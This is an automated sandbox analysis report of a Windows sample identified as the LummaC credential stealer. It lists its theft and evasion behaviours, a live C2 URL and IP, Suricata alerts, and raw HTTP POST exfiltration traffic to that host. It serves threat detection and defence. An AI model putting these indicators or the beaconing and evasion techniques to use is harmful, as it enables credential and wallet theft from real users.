Edit tour

Windows Analysis Report
Loader.exe

Overview

General Information

Sample name:	Loader.exe
Analysis ID:	1561387
MD5:	0e6fce268473aad13da6aa0c2e93ec94
SHA1:	d01b0c69c28b913c4dd3297ca6c78f98d6ba1972
SHA256:	bc32cb3d7964088842b7040c23af2bff7f8e07781e8295a3e45871151052e7b7
Tags:	exeuser-4k95m
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Loader.exe (PID: 6336 cmdline: "C:\Users\user\Desktop\Loader.exe" MD5: 0E6FCE268473AAD13DA6AA0C2E93EC94)

conhost.exe (PID: 6564 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Loader.exe (PID: 3864 cmdline: "C:\Users\user\Desktop\Loader.exe" MD5: 0E6FCE268473AAD13DA6AA0C2E93EC94)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": "https://property-imper.sbs/api", "Build Version": "yau6Na--6524795094"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000002.00000003.1730285852.000000000377D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Loader.exe PID: 3864	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Loader.exe PID: 3864	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Loader.exe PID: 3864	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T09:49:00.432707+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	172.67.162.84	443	TCP
2024-11-23T09:49:02.462552+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	172.67.162.84	443	TCP
2024-11-23T09:49:04.724286+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	172.67.162.84	443	TCP
2024-11-23T09:49:08.091904+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	172.67.162.84	443	TCP
2024-11-23T09:49:10.297377+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	172.67.162.84	443	TCP
2024-11-23T09:49:13.021780+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	172.67.162.84	443	TCP
2024-11-23T09:49:15.864845+0100	2028371	3	Unknown Traffic	192.168.2.4	49736	172.67.162.84	443	TCP
2024-11-23T09:49:18.622598+0100	2028371	3	Unknown Traffic	192.168.2.4	49739	172.67.162.84	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T09:49:01.107725+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	172.67.162.84	443	TCP
2024-11-23T09:49:03.189450+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	172.67.162.84	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T09:49:01.107725+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	172.67.162.84	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T09:49:03.189450+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	172.67.162.84	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T09:49:08.818658+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49733	172.67.162.84	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: Loader.exe.3864.2.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": "https://property-imper.sbs/api", "Build Version": "yau6Na--6524795094"}

Multi AV Scanner detection for submitted file

Source: Loader.exe	ReversingLabs: Detection: 42%
Source: Loader.exe	Virustotal: Detection: 42%			Perma Link

Machine Learning detection for sample

Source: Loader.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\Loader.exe

Code function: 2_2_0041DAF8 CryptUnprotectData,

2_2_0041DAF8

Source: Loader.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49736 version: TLS 1.2

Source: Loader.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Loader.exe

Code function: 0_2_00E6C7DB FindFirstFileExW,FindNextFileW,FindClose,FindClose,

0_2_00E6C7DB

Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	2_2_00442AF0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 40915FE0h	2_2_00442AF0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov esi, ecx	2_2_0041DAF8
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 3174E150h	2_2_00442310
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then jmp ecx	2_2_0041F580
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-03F322C9h]	2_2_004435B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, eax	2_2_0042FE20
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 61813E67h	2_2_00429680
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, eax	2_2_00429680
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then push esi	2_2_00421F60
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_0042FF02
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [edi], cl	2_2_0042EF3E
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 5B126FE8h	2_2_00442790
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 4C697C35h	2_2_00442790
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ebp, ebx	2_2_00441840
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, esi	2_2_00425050
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 1B6183F2h	2_2_0041B02F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 1B6183F2h	2_2_0041B02F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [ebx], ax	2_2_004200C6
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx]	2_2_004210D0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 09785458h	2_2_0041A0F8
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], B03B7AC0h	2_2_0041A080
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp word ptr [ebx+eax+02h], 0000h	2_2_0042B880
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then jmp eax	2_2_0040C09A
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], A2545BF7h	2_2_00442950
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 4C697C35h	2_2_00442950
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], F6E92F34h	2_2_00442150
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+eax+57ED50D4h]	2_2_0043D970
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ebp, ebx	2_2_00441920
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, edi	2_2_00409990
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 1B6183F2h	2_2_0041D1BE
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov edx, ecx	2_2_0041AA68
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ecx+00000704h]	2_2_0042FA7B
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [ebx], al	2_2_0042FA7B
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then jmp ecx	2_2_00419A1F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [ebp+ecx-5CD28A43h]	2_2_00419A1F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ebx, bx	2_2_00426AC2
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+09h]	2_2_00429AEE
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx]	2_2_00421A80
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [eax], cl	2_2_0041D327
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+7Fh]	2_2_0040D382
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	2_2_00438450
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	2_2_0042D4D0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [eax], cl	2_2_0041BCD5
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [eax], cl	2_2_00419DD1
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [ebx], al	2_2_0043048B
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edi]	2_2_0043E4A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ebp, ebx	2_2_004414B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ecx, byte ptr [edi+eax]	2_2_0040AD40
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-16h]	2_2_00427558
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, ebp	2_2_00429520
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [eax], cl	2_2_0041B5C0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_0041ADD5
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp word ptr [ebx+eax+02h], 0000h	2_2_0042B5DE
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ebp, ebx	2_2_004415E0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	2_2_0042ADEA
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	2_2_00424DF0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, eax	2_2_0041CD83
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], 6DBC3610h	2_2_0043DD90
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, eax	2_2_0041B657
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx+1Ch]	2_2_0041B657
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then jmp eax	2_2_00426E01
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov edx, ecx	2_2_00426E01
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	2_2_0042AE30
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then jmp eax	2_2_00426ED0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, eax	2_2_004256D1
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [ebx], cl	2_2_0042E6FC
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [ecx+ebx*8], 9C142CDAh	2_2_004426A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ebp, ebx	2_2_004414B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov edx, ecx	2_2_00426760
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ebp, ebx	2_2_00441760
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [ecx], dx	2_2_0041976F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then push eax	2_2_0042C778
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx]	2_2_00441F00
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [ebp+edi-24h]	2_2_0042CF9F

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49733 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 172.67.162.84:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://property-imper.sbs/api

Source: Joe Sandbox View

IP Address: 172.67.162.84 172.67.162.84

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49739 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49736 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 172.67.162.84:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: property-imper.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: property-imper.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=2OBWBKXCW3B465XR0YTUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18174Host: property-imper.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=WM9XPGEXDDBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8747Host: property-imper.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=GDDRZO2CHAFMICFBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20430Host: property-imper.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=M1ZIO7H9M3T3NTS1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1236Host: property-imper.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=UWB4V41JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 549687Host: property-imper.sbs

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: property-imper.sbs

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: property-imper.sbs

Source: Loader.exe, 00000002.00000003.1784866337.0000000005D89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Loader.exe, 00000002.00000003.1784866337.0000000005D89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Loader.exe, 00000002.00000003.1813007192.0000000003729000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000002.00000002.1883066535.0000000003729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m0&w
Source: Loader.exe, 00000002.00000003.1784866337.0000000005D89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Loader.exe, 00000002.00000003.1784866337.0000000005D89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Loader.exe, 00000002.00000003.1784866337.0000000005D89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Loader.exe, 00000002.00000003.1784866337.0000000005D89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Loader.exe, 00000002.00000003.1784866337.0000000005D89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Loader.exe, 00000002.00000003.1784866337.0000000005D89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: Loader.exe, 00000002.00000003.1784866337.0000000005D89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Loader.exe, 00000002.00000003.1784866337.0000000005D89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Loader.exe, 00000002.00000003.1784866337.0000000005D89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Loader.exe, 00000002.00000003.1730226994.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1730301767.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Loader.exe, 00000002.00000003.1786258773.0000000005D3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: Loader.exe, 00000002.00000003.1786258773.0000000005D3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: Loader.exe, 00000002.00000003.1730226994.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1730301767.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Loader.exe, 00000002.00000003.1730226994.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1730301767.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Loader.exe, 00000002.00000003.1730226994.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1730301767.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Loader.exe, 00000002.00000003.1786258773.0000000005D3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: Loader.exe, 00000002.00000003.1786258773.0000000005D3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Loader.exe, 00000002.00000003.1730226994.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1730301767.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Loader.exe, 00000002.00000003.1730226994.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1730301767.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Loader.exe, 00000002.00000003.1730226994.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1730301767.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Loader.exe, 00000002.00000003.1786258773.0000000005D3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: Loader.exe, Loader.exe, 00000002.00000003.1840834198.0000000003791000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1763675830.0000000005D32000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1876916386.000000000377A000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000002.00000002.1883291612.0000000003792000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1763893866.0000000005D31000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1854807698.000000000378E000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1876898594.0000000003791000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000002.00000002.1883066535.0000000003729000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1840568875.0000000005D51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/
Source: Loader.exe, 00000002.00000003.1854807698.000000000378E000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1876898594.0000000003791000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/?
Source: Loader.exe, 00000002.00000002.1883330598.0000000003796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api
Source: Loader.exe, 00000002.00000003.1855174369.0000000003796000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1854660051.0000000003796000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1840746834.0000000003795000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000002.00000002.1883330598.0000000003796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiI
Source: Loader.exe, 00000002.00000002.1883066535.0000000003718000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apie:
Source: Loader.exe, 00000002.00000002.1883330598.0000000003796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apil
Source: Loader.exe, 00000002.00000002.1883066535.0000000003718000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiq
Source: Loader.exe, 00000002.00000003.1840834198.0000000003791000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/g
Source: Loader.exe, 00000002.00000003.1730824420.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: Loader.exe, 00000002.00000003.1785899492.0000000005E5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Loader.exe, 00000002.00000003.1785899492.0000000005E5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
